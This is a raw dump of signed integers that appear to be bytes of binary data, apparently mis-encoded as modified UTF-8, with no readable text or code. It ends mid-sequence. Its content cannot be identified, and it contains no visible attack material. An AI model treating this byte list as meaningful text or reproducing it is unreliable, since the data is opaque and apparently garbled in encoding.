120, -61, -121, 107, -61, -124, -62, -72, 48, 64, 28, 60, -62, -116, 22, -61, -104, 111, 42, 81, -61, -99, 34, 8, 115, -61, -66, -62, -124, 82, -61, -120, 36, 55, 80, 42, 45, -62, -117, 98, 48, -62, -103, -61, -96, -62, -92, 29, 54, -62, -115, 110, 49, -62, -116, -61, -125, -61, -85, 88, 105, -62, -99, -64, -128, 62, -62, -79, -62, -127, 66, -62, -104, -61, -127, -62, -66, 123, -62, -95, -62, -69, 75, 77, 106, 101, 108, 22, -62, -95, -61, -67, -62, -127, 49, 47, 29, -61, -103, 17, -62, -110, 116, 83, -62, -125, -61, -97, 26, 62, -62, -77, 96, 115, -62, -91, -62, -105, 43, 5, 37, 30, 58, -62, -107, -62, -115, 21, 53, -61, -100, 106, -61, -118, -62, -65, -62, -67, -62, -114, -61, -91, 78, -61, -72, 44, -62, -69, 106, -62, -105, 116, -61, -117, -61, -125, -61, -114, 15, 91, 100, -62, -71, 98, 2, -62, -80, -61, -106, -61, -114, 19, -62, -128, -62, -71, -61, -114, 52, 62, 97, -62, -91, -61, -66, -61, -96, -61, -93, 104, 14, 40, 80, -62, -66, 7, 89, 18, 123, -61, -77, 12, -62, -69, -61, -90, -61, -87, 62, -62, -92, -61, -95, 33, 82, 76, 81, -61, -67, -62, -77, -62, -71, 82, -61, -85, 122, -62, -105, -61, -91, -62, -117, 119, 99, 48, -62, -100, -61, -71, -61, -82, -61, -94, 59, 95, 7, 127, -61, -109, -62, -92, 37, -61, -83, -62, -99, -62, -77, -61, -121, -61, -102, -61, -108, -62, -105, 28, -61, -118, 7, -62, -87, 10, 76, 122, 67, -61, -103, -62, -119, -62, -119, -62, -111, -61, -127, 106, -62, -103, -61, -98, -61, -69, -62, -85, -62, -110, 27, 56, 68, 51, -61, -84, 106, 5, 113, 119, -62, -77, -61, -110, 31, -62, -126, 124, 50, 7, -61, -104, 104, -61, -116, 51, -61, -118, -62, -122, -62, -76, 54, 8, 93, 99, 114, 123, -62, -84, 47, 95, -62, -77, -62, -68, 111, -62, -102, 35, 92, 95, -62, -99, -62, -78, 80, 77, 66, 54, 41, 34, 112, -61, -100, -62, -101, -62, -101, 115, 101, -61, -77, 32, -61, -67, 62, 121, -61, -125, 103, 105, 10, 98, 108, 107, 66, -62, -124, -62, -124, -61, -89, 49, 103, -62, -74, 52, 23, -62, -66, 94, -61, -128, -61, -81, -61, -114, 15, 120, 67, 21, 22, -61, -95, -62, -87, -62, -116, 94, 27, 103, -61, -86, -61, -75, -62, -128, -61, -77, 63, -62, -82, -62, -105, -62, -80, 76, -61, -122, -62, -84, -61, -81, -62, -102, 65, -61, -96, 19, -62, -110, -62, -86, 22, -61, -93, 64, 101, -61, -95, 57, -61, -100, -61, -98, -62, -123, -61, -74, -62, -78, -61, -121, 110, -62, -93, -61, -105, -61, -107, -62, -122, 16, 68, -61, -115, 93, -61, -72, -61, -83, 76, -61, -122, 47, 100, -62, -110, 15, -61, -104, 4, 8, 110, -61, -106, -62, -111, 123, -62, -93, -61, -122, 76, -61, -121, 30, -61, -78, -62, -104, -62, -74, 30, -62, -109, 41, -61, -118, -62, -81, -61, -104, 76, -62, -91, 76, 66, 36, -61, -102, -62, -98, -61, -115, 40, -61, -73, 69, 114, 48, -61, -89, 82, 56, -62, -117, -62, -97, -62, -92, 103, 21, -62, -113, -61, -123, -62, -94, 121, -62, -107, 92, -61, -121, -62, -96, 67, -62, -90, -62, -107, -62, -70, -61, -113, 83, 83, -62, -101, 3, 103, 121, -62, -94, 116, 69, 113, 107, -62, -83, 126, 104, -62, -125, -62, -89, 105, -62, -94, 99, -62, -107, 37, -62, -117, -62, -101, -61, -81, 87, -62, -70, -61, -96, -62, -66, -61, -80, 19, -61, -70, -61, -91, -61, -88, 124, -61, -88, -62, -76, -62, -83, 109, 6, -62, -121, 54, 81, 50, -62, -73, -62, -86, -62, -127, -62, -111, -62, -125, -61, -78, -61, -118, -62, -109, 7, -62, -92, -61, -109, -61, -117, 9, 31, 125, -62, -76, 127, 90, -62, -121, 96, -62, -87, -62, -80, 42, -61, -68, 42, -61, -67, -61, -95, -62, -97, -62, -118, -62, -110, 24, 117, -62, -74, 98, -62, -118, -62, -119, 60, 99, -61, -72, -62, -79, 93, -62, -77, 43, 68, 99, 56, -61, -83, -62, -104, -62, -104, -61, -106, 87, 78, 81, 73, -61, -78, 111, -61, -126, -62, -73, -62, -69, 19, -61, -82, -61, -108, 75, -61, -65, 46, 51, -61, -102, 124, -62, -119, -61, -104, -61, -111, 26, 89, 48, -61, -104, -62, -107, -62, -95, -61, -82, -62, -124, 50, 59, -62, -93, -62, -126, -61, -101, -62, -123, 16, -61, -95, 108, -62, -99, -61, -120, 40, -61, -98, 5, -62, -128, -62, -128, 37, 98, 49, -62, -73, 26, 61, 114, 21, -62, -92, 104, 64, 59, 99, 52, -61, -106, -61, -71, 88, 42, -62, -103, -62, -112, -62, -94, 59, -61, -84, 122, 28, 90, 39, 56, 78, -61, -84, 85, -62, -110, 25, -62, -78, 57, 126, -61, -125, -61, -103, -62, -83, 113, -61, -104, -62, -101, 19, 116, 52, -61, -110, -61, -78, -62, -120, 40, 82, 62, 92, 13, -61, -113, 12, -62, -120, -62, -70, -62, -70, 20, 27, 100, 2, 91, 77, -61, -97, -62, -78, -62, -118, -61, -75, 20, -61, -88, -62, -119, 68, -62, -92, -62, -92, -62, -89, 93, 28, -62, -104, 34, 63, -61, -101, 39, 93, 58, -62, -83, 83, -61, -71, -61, -96, 59, -61, -77, -62, -92, -62, -115, 124, 41, 24, 7, 99, -61, -113, -61, -92, 62, 29, 97, 40, -61, -101, 72, -62, -113, -61, -91, -61, -101, 15, 7, 47, 118, -62, -86, -62, -120, 36, -61, -117, 33, -61, -93, -61, -78, 122, -62, -74, -61, -75, 18, -61, -70, 83, 111, -62, -122, -62, -112, -62, -119, 96, 74, 57, 78, 92, -61, -110, 112, 6, 102, -62, -75, 35, 79, 12, 45, -62, -108, 108, -61, -119, 98, 32, 37, -62, -120, 4, -62, -84, -61, -118, 15, -61, -121, 61, 106, 112, 39, 41, -61, -103, -62, -106, -62, -73, -62, -82, -61, -121, 46, 59, -62, -111, -61, -90, 12, 2, -61, -122, -61, -98, -62, -72, 10, -61, -123, -61, -120, 97, 29, -62, -68, -62, -109, 49, 8, -61, -90, 63, 65, -61, -93, -62, -107, 14, 116, -62, -78, 12, -61, -98, -62, -115, 38, -62, -125, 50, -62, -117, 107, -61, -120, 67, -62, -83, -62, -101, -62, -73, -62, -123, 116, 84, -62, -92, 43, 93, 20, 79, -62, -78, -62, -99, 23, 82, -61, -95, 38, 27, 97, -61, -90, -62, -84, 33, -62, -126, -62, -109, 66, 8, -62, -115, 31, -62, -115, -61, -118, -62, -91, -62, -68, -62, -77, 55, -61, -78, 65, 98, -61, -117, -61, -118, -61, -108, 26, 29, 77, -62, -95, -62, -117, -62, -75, -62, -73, 44, 24, 36, 73, 79, 31, 96, -62, -69, 67, 101, -62, -83, -62, -77, -61, -100, 86, -62, -95, 13, 119, -61, -117, 11, 103, -62, -103, 12, 107, -62, -120, -62, -66, 76, -62, -68, -62, -124, 53, -62, -66, -61, -71, -62, -123, -61, -114, 27, 89, -62, -112, 89, 67, 121, 127, 91, -61, -126, 18, -62, -109, -61, -105, -62, -82, 100, 44, -62, -107, -62, -99, 20, 29, 118, 65, 92, -61, -102, -61, -117, 90, 104, -62, -102, -62, -78, 10, -61, -106, -62, -106, -62, -127, 79, -61, -99, 42, -62, -112, 37, 97, -62, -121, 88, 5, -61, -96, -62, -114, -61, -72, 48, 40, -61, -115, 107, -61, -125, -62, -85, -61, -67, 101, -62, -117, 106, 125, -61, -120, 60, 51, 39, -62, -117, -61, -114, 68, 91, -62, -119, 108, -61, -125, -62, -113, -62, -106, 23, -62, -79, -61, -70, 10, 91, 8, -62, -92, -61, -125, 59, -62, -83, -61, -95, 5, -61, -77, 58, 120, 20, 56, -61, -67, 11, -62, -69, 27, 72, 49, -61, -66, 1, -61, -96, 45, -62, -75, 18, -61, -122, -62, -99, -62, -117, -62, -103, -62, -117, 15, -61, -72, -61, -102, 8, 57, 123, -62, -104, -62, -94, 86, -62, -107, 76, -61, -122, -62, -113, -62, -83, 124, -61, -116, 106, 107, -61, -75, 26, -62, -83, 123, -62, -81, -61, -69, -61, -90, -61, -85, -62, -121, 98, 15, -61, -95, 42, -61, -108, -62, -92, -62, -128, 99, 37, 83, -61, -95, -61, -127, -62, -77, -62, -102, 37, -62, -94, -62, -82, 85, -62, -114, -62, -100, 81, -61, -109, -61, -96, 62, 21, 108, 56, -61, -79, 115, -62, -127, 57, -61, -111, -61, -126, 33, -62, -80, -61, -83, -61, -109, 50, 120, -62, -107, 5, -62, -120, -62, -99, -62, -92, -61, -101, 45, 116, 124, 114, -61, -110, -61, -82, 79, -61, -68, 127, 35, -62, -104, -62, -93, -61, -89, 87, -62, -76, -62, -115, -61, -78, 53, 115, 64, 98, -61, -107, 49, -62, -93, 90, -61, -112, -62, -73, -62, -118, 72, -61, -69, -62, -105, -62, -105, 81, -61, -122, 114, -62, -81, 92, 52, -62, -94, 32, -62, -117, -61, -65, -62, -95, 4, -61, -82, -62, -99, -61, -74, 127, 45, 83, -61, -95, -62, -78, -61, -106, 121, 86, 80, -61, -86, -61, -74, 103, 10, -64, -128, -61, -107, -61, -94, 80, -61, -67, -61, -78, -62, -93, -62, -112, -62, -109, 121, -61, -126, 70, -61, -95, 51, 117, -62, -100, 88, 25, -61, -122, 124, -62, -101, 100, 122, -62, -105, -61, -117, 125, -61, -115, 74, 2, -62, -85, -62, -123, 97, 119, -61, -69, 121, -62, -114, 86, -62, -77, -62, -69, 24, -62, -79, -61, -109, -62, -97, 38, 91, 56, 31, 95, 86, 55, 119, -62, -122, 8, -62, -102, 13, 104, -62, -95, -61, -91, -61, -118, -61, -68, -61, -114, -62, -102, -61, -116, -61, -115, 38, 62, -62, -126, -62, -95, -61, -92, -61, -68, 75, 69, -62, -77, -61, -79, -61, -68, 48, 127, 30, 82, -62, -105, 108, -61, -125, 8, -61, -121, 126, -61, -65, -62, -91, 66, -61, -112, -61, -122, -61, -109, 3, -61, -89, -61, -98, -61, -126, 60, -62, -121, 76, 91, -61, -112, 91, 123, 115, 24, 15, -61, -75, -62, -83, -62, -74, 90, -61, -72, -61, -101, -61, -92, 73, 18, 124, 1, 69, 68, 85, 96, -61, -97, 84, 87, 42, -61, -112, 122, 78, -62, -67, -62, -84, 42, 61, -61, -96, 9, -62, -81, -62, -106, -62, -106, -62, -67, 88, 42, 105, 50, 60, 91, 79, -61, -98, 118, -62, -118, -62, -119, -61, -65, -61, -66, -62, -105, -61, -126, -62, -114, 78, 75, -61, -114, 126, -61, -121, 50, 49, -62, -87, -61, -128, -61, -126, 33, 48, -61, -71, 65, 104, 56, 99, -61, -102, -62, -85, -61, -83, 110, 121, 107, -62, -82, 52, -61, -105, -62, -66, 106, 23, 126, 29, -62, -84, 44, 116, -62, -68, 106, 46, -61, -92, 79, 38, 15, 110, -61, -108, -61, -125, 54, 125, -61, -113, 43, -62, -84, 20, -61, -65, 80, -62, -85, 93, 63, 40, 28, 41, 51, -62, -69, 35, 34, -62, -106, -61, -125, -62, -121, 110, -61, -86, -62, -97, 20, -61, -122, -61, -70, -61, -114, 47, 73, -62, -91, -62, -101, -61, -117, -62, -86, 84, 86, -62, -116, -62, -114, 67, 60, -62, -127, 77, -62, -84, -61, -90, -61, -82, -61, -119, -61, -101, 1, 121, -61, -85, -62, -115, 9, 85, 18, 101, 23, 117, -62, -116, -61, -104, 126, -62, -81, 6, 100, -61, -117, -62, -113, -62, -113, -61, -82, -62, -93, -62, -109, -61, -79, -61, -118, 12, 72, -61, -110, 36, -61, -123, 51, -62, -100, -62, -90, 98, 68, 44, -62, -99, 106, 101, -61, -101, 127, 41, 113, 74, 101, -62, -86, -61, -87, 56, -62, -108, -61, -100, 43, 63, -61, -88, 120, 59, -61, -88, -62, -109, 40, -61, -73, 121, -61, -101, -62, -96, -61, -97, -62, -99, 51, -62, -96, -61, -106, -61, -106, 119, 95, -61, -75, 75, 22, 90, -61, -105, 77, -62, -75, -62, -113, -62, -119, -62, -93, -61, -69, -61, -98, 93, -61, -88, -61, -119, -61, -85, 127, 116, -62, -88, -62, -86, -62, -100, -61, -122, 105, -62, -79, 104, -61, -92, 21, -61, -93, 49, -61, -93, 48, 122, -62, -72, -61, -71, 67, -61, -83, 32, -62, -97, -62, -85, -61, -115, -62, -80, 103, -62, -90, -62, -83, 101, 126, -61, -92, -62, -99, -61, -106, 14, 4, -61, -122, -62, -102, -62, -128, 69, -61, -116, -62, -65, -62, -123, 89, -62, -116, 36, -62, -70, -62, -100, 38, -62, -110, 2, 56, -61, -75, -61, -79, -61, -99, 119, -62, -97, -62, -73, -61, -112, 14, -62, -91, 24, -61, -67, 60, -61, -84, 118, -62, -102, -62, -79, -62, -123, 111, 31, -62, -118, 117, 70, -61, -104, -62, -75, -62, -108, -62, -74, -61, -122, -61, -107, 20, -62, -123, -61, -87, -62, -94, 15, 55, 34, 95, -61, -112, 35, -61, -91, 82, 121, -62, -126, 116, 120, 90, 35, 17, 2, -61, -116, -61, -79, -61, -104, -62, -83, -61, -106, 113, -61, -95, 69, 12, 126, -61, -106, 72, 31, 37, 70, -62, -84, 11, -61, -68, -62, -88, -61, -109, 126, -62, -115, -61, -97, 71, -62, -110, -61, -79, 48, 106, 9, -61, -77, -62, -118, 45, -62, -112, 9, -62, -100, -61, -109, 13, 89, 100, 92, 53, 110, 87, -62, -106, -61, -85, -62, -65, 16, -62, -120, -61, -100, 47, 11, 57, 127, 83, -61, -94, 34, -61, -98, 108, 76, -62, -127, -61, -77, 56, -61, -116, 61, -62, -88, 41, 91, -62, -69, 106, 11, 57, -61, -80, 34, 84, -61, -113, -62, -114, -61, -75, 71, 43, -61, -123, 68, 106, 26, -61, -120, -61, -122, -61, -100, -61, -86, -61, -102, 59, 15, 25, -61, -96, 121, -61, -95, -61, -84, 84, 42, 123, 105, 121, -61, -71, 58, 113, 108, 62, 77, 28, -61, -102, -61, -92, 102, -62, -91, -62, -97, 15, -62, -88, -62, -105, -61, -68, 104, 80, -61, -119, 1, 28, 74, -62, -82, 124, -61, -70, -64, -128, -62, -71, -61, -81, 67, -61, -100, 60, 26, 110, 116, 91, 86, -62, -72, -61, -97, -61, -87, -61, -92, 35, 1, 51, 36, 89, 88, 65, -62, -84, 113, 82, -62, -115, -61, -117, -62, -126, -62, -116, 62, -62, -82, 26, 83, 61, -61, -107, 34, -62, -79, 14, -62, -76, -62, -100, 112, -61, -94, 17, 12, 68, -61, -99, 39, -62, -108, -62, -116, -61, -91, -61, -66, -61, -121, -62, -80, -62, -67, -62, -79, 111, 29, 30, -62, -118, 123, -61, -102, 64, 97, 14, 118, -62, -92, 69, 118, -61, -89, 35, -61, -99, -61, -126, -61, -76, -61, -82, 49, -61, -74, -61, -128, 27, -62, -97, 17, -61, -100, -62, -109, 65, -61, -90, 64, 69, -61, -78, 33, -62, -91, 27, 3, -61, -108, 121, 65, 44, -62, -66, 42, 67, -61, -81, -62, -113, 10, -61, -91, -62, -95, 37, 121, -61, -96, -61, -101, 28, 125, -61, -106, -61, -109, 44, -62, -118, 58, 17, -62, -86, -61, -83, 10, -61, -79, -62, -76, -61, -126, 90, 50, 101, 90, 123, -62, -78, 70, -62, -78, 105, -61, -99, -62, -91, 127, 127, -61, -127, -61, -96, 47, -61, -119, -62, -92, -62, -81, -61, -65, 5, 97, 75, -62, -124, 43, 57, 20, -61, -106, 74, -61, -114, -61, -74, 95, -61, -83, -61, -124, 127, -62, -78, 67, -62, -92, 10, 40, -62, -90, 106, -61, -119, -62, -101, -62, -77, -61, -78, 66, 111, -61, -111, 82, 97, -62, -79, 55, -61, -128, -62, -110, 30, 127, 4, -62, -79, -61, -109, 112, 113, 36, -61, -72, -62, -114, -62, -93, 121, 115, 106, 59, 19, -61, -120, -61, -82, 30, 1, -62, -126, 45, -62, -70, 111, -62, -111, -61, -113, -61, -127, -61, -124, 120, 83, -62, -122, 26, -61, -111, -61, -128, 10, 82, -62, -94, -62, -88, -61, -66, -62, -99, -61, -85, -61, -108, 1, -61, -89, -62, -107, 63, -61, -121, -62, -98, 95, 24, -61, -117, 72, 122, 89, 17, -62, -93, -62, -83, 103, -61, -72, 102, 81, -61, -91, 22, 53, -61, -126, -62, -115, 4, -61, -94, 69, 39, 87, 110, 50, 1, 127, -61, -123, -62, -76, 80, -62, -97, -61, -83, 118, -62, -72, 63, 23, -62, -78, -62, -66, 96, 46, -61, -108, -61, -116, -62, -117, -62, -80, 5, -61, -89, 100, 7, -62, -108, 104, 105, -61, -91, 126, -61, -106, -62, -74, 93, 55, -61, -73, 89, 73, -61, -65, -62, -114, 75, -62, -102, -61, -120, 14, 5, 92, -61, -99, 30, 6, -61, -121, 75, -62, -98, 46, 27, 105, -62, -94, 19, -62, -112, 69, -62, -65, 37, 24, 12, 101, -62, -123, 126, 95, -62, -65, -62, -83, 56, 28, 46, -62, -112, -62, -103, 53, 64, -62, -115, 60, 81, -61, -82, -61, -109, -62, -125, -62, -93, 53, -61, -72, -62, -116, 73, 28, 9, -62, -89, 59, -62, -103, -62, -82, -61, -101, 40, -61, -78, 2, 98, -61, -104, -61, -121, 100, -62, -104, 119, 42, 21, -62, -91, -62, -77, -62, -72, 94, -62, -104, 27, 112, -61, -102, -62, -117, 15, -62, -87, 96, 55, 59, -62, -112, -62, -91, 125, 63, -61, -101, -62, -84, -62, -102, -64, -128, 87, -61, -66, 124, 56, 74, 67, 102, -61, -85, -62, -79, -62, -90, 20, 65, -62, -86, -61, -118, -62, -82, 14, 75, -62, -103, -62, -74, -61, -73, 77, 72, -62, -113, 95, 56, 109, 60, -61, -115, 78, 36, -61, -90, -61, -100, 84, -61, -74, -61, -85, -62, -91, -61, -79, -61, -66, 42, -61, -111, 121, -61, -81, 9, 70, -61, -123, -62, -102, 82, -61, -79, -61, -84, -62, -109, 25, 68, -61, -122, 121, -62, -127, 6, -61, -109, 63, 113, -61, -81, 60, 122, 104, 41, -61, -106, -62, -99, 58, 35, -61, -93, -62, -101, -62, -78, -62, -88, 72, 50, -62, -106, 53, -62, -127, 19, -62, -108, -61, -87, -61, -116, 13, 10, -61, -117, 61, 38, -62, -117, -62, -103, 90, 109, 80, -61, -85, -62, -122, -62, -66, -61, -88, 114, 10, -61, -121, -62, -85, -61, -119, -62, -76, 45, 64, -61, -104, -61, -124, 43, -62, -111, 69, 53, -62, -68, 7, -61, -98, 103, -61, -113, -62, -86, 70, -62, -73, 7, -61, -107, -61, -107, 83, 5, 15, -61, -120, -62, -97, 67, -61, -99, 40, 26, -62, -124, -61, -128, 45, -62, -67, -61, -99, 56, 64, -62, -102, -62, -77, -61, -71, -64, -128, -62, -92, -62, -71, 66, -62, -76, -62, -83, 108, -61, -104, 36, -62, -128, -62, -118, -61, -122, 120, -61, -128, -62, -101, 71, -62, -116, 123, -61, -111, -62, -67, -62, -91, 89, -62, -83, -61, -123, -62, -104, -62, -80, 55, 123, -62, -97, 100, 57, 115, -61, -81, 9, -62, -71, -61, -69, 12, 108, -61, -93, 72, -61, -77, -62, -91, -62, -75, 63, 16, 50, -61, -85, -61, -107, 42, -61, -75, 56, 37, 126, -62, -93, 33, 105, 57, 86, 40, -62, -90, -61, -67, -62, -126, 82, -61, -113, -62, -87, -61, -109, -61, -72, 20, -62, -108, -62, -83, 95, 71, 2, 2, -61, -93, -61, -105, 37, -62, -97, -62, -107, -62, -105, 112, -62, -96, -62, -111, -61, -110, 74, -62, -94, -61, -75, -61, -81, 84, 92, -61, -117, 49, 40, 35, 31, -62, -73, -62, -128, -61, -76, 84, 16, 107, 55, -61, -123, 47, -62, -107, -62, -68, -62, -97, 19, -61, -79, 59, 85, 42, 87, 101, -61, -84, -62, -79, 12, 111, 49, -61, -95, 36, 37, -62, -100, -62, -91, -61, -66, -61, -116, -62, -76, -62, -68, -62, -114, 120, 5, 49, 96, -62, -77, 78, -61, -95, -61, -90, 58, -62, -73, 104, -61, -88, 100, -62, -105, 62, 1, 18, 23, -62, -69, -61, -103, 86, 19, -61, -66, 99, 13, -61, -90, -62, -125, 109, -62, -73, -62, -107, -62, -90, 93, -61, -83, 80, 111, -61, -120, -64, -128, -61, -89, -61, -121, 48, 101, 44, -61, -107, -61, -74, -62, -95, 122, 11, -61, -76, 38, 16, -61, -104, -62, -120, -61, -96, -61, -121, 96, 119, -61, -109, -61, -70, 115, -62, -123, -62, -65, -61, -108, -62, -83, 51, 63, -61, -70, -61, -82, 89, 75, 1, 127, 26, -61, -76, -61, -108, -62, -95, 122, 118, -62, -98, 17, 124, 45, 17, 5, 9, 15, -61, -101, -61, -70, 98, -62, -74, -62, -128, -61, -116, 87, -61, -98, -64, -128, 27, 27, 36, 109, -62, -115, 41, 96, -62, -74, 45, -62, -120, 52, 46, 104, 20, -61, -110, 67, -61, -128, 13, -61, -85, 115, -61, -77, 20, -62, -66, 8, 69, 56, 66, 114, 3, -62, -114, 24, 27, 15, 13, 3, 45, -61, -81, -62, -89, -62, -85, -61, -94, -61, -113, -61, -126, -61, -83, -62, -105, 80, 1, 104, 68, 74, -61, -105, -62, -75, -62, -83, 14, -62, -128, 78, -62, -124, -61, -95, -62, -105, -62, -98, -62, -107, 27, 31, -62, -97, 107, 30, 46, 107, 99, -62, -91, -62, -127, -62, -99, 72, -62, -121, 72, 121, -62, -82, -61, -101, 21, -62, -100, 104, 79, -62, -92, -62, -89, 99, -62, -117, -62, -86, 84, -61, -74, 118, -61, -93, 97, 76, 18, 51, -61, -82, 55, -62, -110, -62, -92, 86, -62, -102, -62, -110, -61, -117, 94, 116, 73, 1, -61, -81, 47, 9, -61, -126, -61, -119, -61, -102, -62, -108, 79, 6, -62, -111, -61, -95, 120, 35, 36, 21, -61, -82, 36, 83, 21, 87, -62, -113, 89, -62, -74, -61, -97, -62, -112, -61, -67, -62, -104, -61, -67, 115, 88, -62, -98, -62, -92, 2, 42, 59, -62, -105, 67, -62, -80, 54, -62, -72, 66, 54, 1, -62, -76, 83, -62, -115, 80, -61, -128, 39, 50, 18, -62, -92, 62, 31, 91, -61, -101, 32, -61, -87, -61, -77, -62, -91, -61, -104, -61, -101, 62, -61, -81, 1, -62, -114, 57, -61, -118, 88, 62, -62, -71, -61, -65, 36, -61, -113, 110, 83, 13, 98, 70, 124, -61, -109, -61, -73, -61, -84, 93, -61, -74, -62, -97, 117, 77, 127, -62, -84, 55, 50, -61, -119, -62, -86, 7, -62, -102, 46, -61, -128, -62, -122, 19, -61, -111, 19, 58, -62, -106, -62, -103, -62, -85, -62, -90, -61, -74, -62, -87, 9, 68, 35, -61, -84, -61, -95, -62, -116, 107, -62, -92, -61, -65, -61, -127, 20, 52, 74, 11, 1, -62, -82, 125, 16, 44, -61, -124, 106, 33, 3, 38, -62, -122, 34, 73, 4, -61, -83, -62, -99, 25, 104, 22, 119, 94, 120, -61, -128, 108, 11, 78, 113, -61, -115, 105, -62, -123, -61, -112, 27, -62, -76, -61, -70, -62, -74, 7, -61, -107, 104, -61, -79, -61, -79, 21, 70, -61, -78, -62, -122, 16, 31, 76, 35, -61, -79, 101, 22, 16, -61, -124, 45, -61, -104, 77, 52, -62, -66, -62, -75, -61, -74, -61, -97, 79, 110, 83, -61, -85, 12, -62, -119, -62, -85, 116, -62, -72, -61, -114, -62, -102, -61, -77, 112, -61, -109, -61, -85, 120, -61, -66, 70, 12, -61, -76, -61, -123, -61, -86, -61, -74, -62, -114, 96, -62, -91, -62, -92, 121, -61, -90, -62, -75, -62, -91, -61, -85, -62, -89, -62, -83, 126, 67, 87, 31, -61, -91, -61, -97, 76, 65, 123, -61, -78, 86, 29, -61, -92, 62, -61, -94, -62, -89, 93, 89, -62, -71, 65, 56, 62, -62, -86, 122, -61, -121, -61, -78, 95, 81, -62, -123, -61, -113, -61, -109, -62, -88, -62, -122, -61, -67, 109, 67, 111, -61, -109, -62, -77, 35, 91, -62, -108, -61, -65, 53, 100, -61, -127, 71, 7, 66, 121, -61, -126, -61, -94, -62, -97, 54, 56, -61, -111, 18, -62, -69, -61, -122, -61, -115, -61, -120, -61, -117, 123, 5, -62, -80, -61, -108, 48, 42, -61, -72, 100, 71, 113, 15, 17, -61, -65, -62, -76, 124, -61, -65, -61, -126, -62, -66, 41, -62, -109, -61, -97, 44, 41, -61, -85, -61, -81, -62, -78, 21, 77, 88, -62, -85, 95, -61, -121, -61, -80, 74, 34, -62, -118, 112, -62, -114, -62, -88, 32, 81, 100, 88, 106, -62, -78, -62, -97, 41, 19, 54, -62, -66, -62, -74, 36, -62, -106, 82, 103, -62, -108, -62, -97, 120, 78, -62, -90, 38, 20, 85, 1, -62, -94, 21, -62, -84, 32, 77, 107, 82, 91, -62, -93, -62, -70, 41, -62, -98, 38, 46, -62, -75, 121, -61, -87, 48, -61, -106, 58, 1, 110, 107, 112, -61, -114, 27, -61, -83, -62, -69, 119, 127, 38, -62, -66, -61, -119, 59, -61, -112, -61, -128, -61, -73, -61, -97, 87, 104, 5, -61, -103, -62, -105, -61, -95, 63, 12, 36, -61, -67, -62, -81, -62, -86, -62, -81, -61, -75, 126, 56, -61, -93, -61, -98, 103, -62, -96, -61, -124, 111, 43, 95, -61, -117, 42, 107, -61, -71, 55, -62, -114, 94, 77, -61, -92, 60, 86, -62, -96, -61, -78, 112, -61, -73, 5, 116, 24, -61, -95, -61, -86, -62, -96, -62, -119, -61, -102, 66, 89, -61, -100, 69, 18, -62, -97, 43, -61, -102, -62, -125, 74, -61, -68, -62, -101, 20, 24, 53, 35, -61, -93, 71, 120, -61, -74, -62, -103, -62, -123, 91, 7, 40, 47, -61, -75, -62, -118, 22, 66, 81, 49, -61, -115, 20, 97, -62, -82, -62, -85, 35, -61, -77, -61, -89, 49, -62, -94, 59, -61, -127, -62, -80, 68, 54, 81, -61, -89, 52, -61, -125, 15, -61, -68, -61, -77, 48, -61, -80, -61, -121, 93, -62, -72, -62, -126, -62, -123, 18, -62, -76, -62, -82, 94, -61, -107, -62, -67, -61, -107, 110, -61, -119, -62, -125, -62, -110, -61, -65, -61, -92, 88, 98, -62, -81, 92, -62, -101, -61, -114, -61, -90, -62, -79, -62, -87, -61, -67, -62, -73, -61, -114, 78, 9, 17, -62, -98, 28, 83, 59, -61, -81, -62, -107, -62, -75, 103, -61, -122, -62, -125, -62, -97, -61, -69, 120, 112, 71, 94, -61, -102, 57, 30, 75, -62, -117, -62, -114, 68, 78, -61, -80, 96, 90, 116, -62, -80, -61, -91, 102, -62, -124, -61, -109, -61, -73, -62, -93, 63, 42, -61, -87, -61, -71, -61, -117, 55, -62, -80, -61, -90, 24, 19, -61, -104, -61, -71, 19, 44, -61, -86, 91, 119, 112, -62, -126, -62, -94, 95, 35, -61, -110, 112, 93, -62, -73, 55, -61, -91, -62, -119, -62, -91, -62, -123, -62, -84, 7, -62, -74, 96, -61, -79, -62, -106, -61, -111, 90, 5, -62, -107, -61, -67, -62, -112, -61, -78, -61, -83, -61, -76, 1, 24, 41, 105, 123, 53, -61, -68, -62, -68, -62, -105, 80, 73, -62, -110, -62, -126, -62, -124, 112, -62, -94, 19, 1, -61, -122, 115, -61, -125, 64, -61, -109, 34, 73, -61, -67, -62, -72, 67, -61, -87, 3, -62, -123, 104, -62, -92, -61, -107, 81, 79, 95, 26, 54, -62, -86, -62, -100, -62, -104, 102, -62, -125, 11, -61, -110, -61, -117, 69, 61, 70, -61, -118, 75, 74, 77, 123, 41, 30, -61, -87, 93, 73, 106, 33, 19, 124, 115, -61, -125, -62, -121, 113, 88, 103, -62, -100, -61, -105, 38, -62, -123, -62, -98, -62, -78, 81, 1, -61, -117, 30, 114, -61, -127, 35, 110, -61, -74, 87, 62, 6, -62, -101, 80, 49, -61, -76, 51, 23, 9, -61, -102, 89, 13, 121, -61, -90, 57, 14, -62, -68, -62, -117, 54, 106, 73, -61, -100, 16, -62, -86, -61, -85, 124, -61, -68, -61, -65, -64, -128, -61, -122, -62, -89, -61, -66, -62, -87, -61, -77, -62, -118, 3, -62, -108, -61, -100, 108, -62, -125, -62, -105, 47, -62, -107, -61, -74, -61, -82, 116, -62, -116, 113, -61, -92, -62, -104, -61, -125, -61, -104, 66, -61, -112, 96, 75, -62, -124, 117, -61, -93, -62, -67, 70, -62, -104, 29, 12, -61, -128, 28, -61, -74, -62, -83, 7, 105, -61, -78, 118, -62, -116, -62, -85, 13, -62, -99, -62, -112, 22, 29, -61, -116, -62, -103, 94, -62, -99, 21, 76, 104, -61, -112, 125, -61, -86, 56, -62, -108, 22, 23, 86, 65, -62, -107, -61, -123, -61, -95, 111, 48, 100, 40, 117, -61, -94, 99, -62, -124, 38, -62, -115, 110, -61, -108, 124, -61, -118, 29, 42, -62, -92, -61, -95, 16, 53, -62, -121, -61, -89, 85, 9, 56, -61, -72, -61, -91, -61, -111, -62, -112, 48, -61, -107, 104, 104, -61, -95, -61, -84, -61, -111, 49, -61, -127, -61, -113, 75, 7, 38, -61, -121, 108, 60, -62, -126, 66, -61, -71, 118, 16, -61, -123, -62, -116, -62, -84, -61, -95, 14, 109, -62, -109, -62, -74, -61, -77, 73, -62, -113, 58, -62, -125, 113, 81, -61, -77, 124, 74, -62, -121, 21, 95, 22, -62, -125, 106, -61, -110, 90, 123, -62, -74, 15, 15, 44, 68, -61, -126, 115, -61, -114, 40, 100, 117, -62, -123, 17, 82, 63, -62, -79, -61, -109, -62, -93, -62, -88, -61, -118, -62, -107, 33, 79, 64, -62, -125, 6, 17, 54, 52, 36, 15, 104, 53, -61, -72, -62, -66, -61, -79, 65, 41, -61, -100, -61, -75, 78, -61, -83, -62, -119, -61, -98, 47, 34, -62, -127, 60, -62, 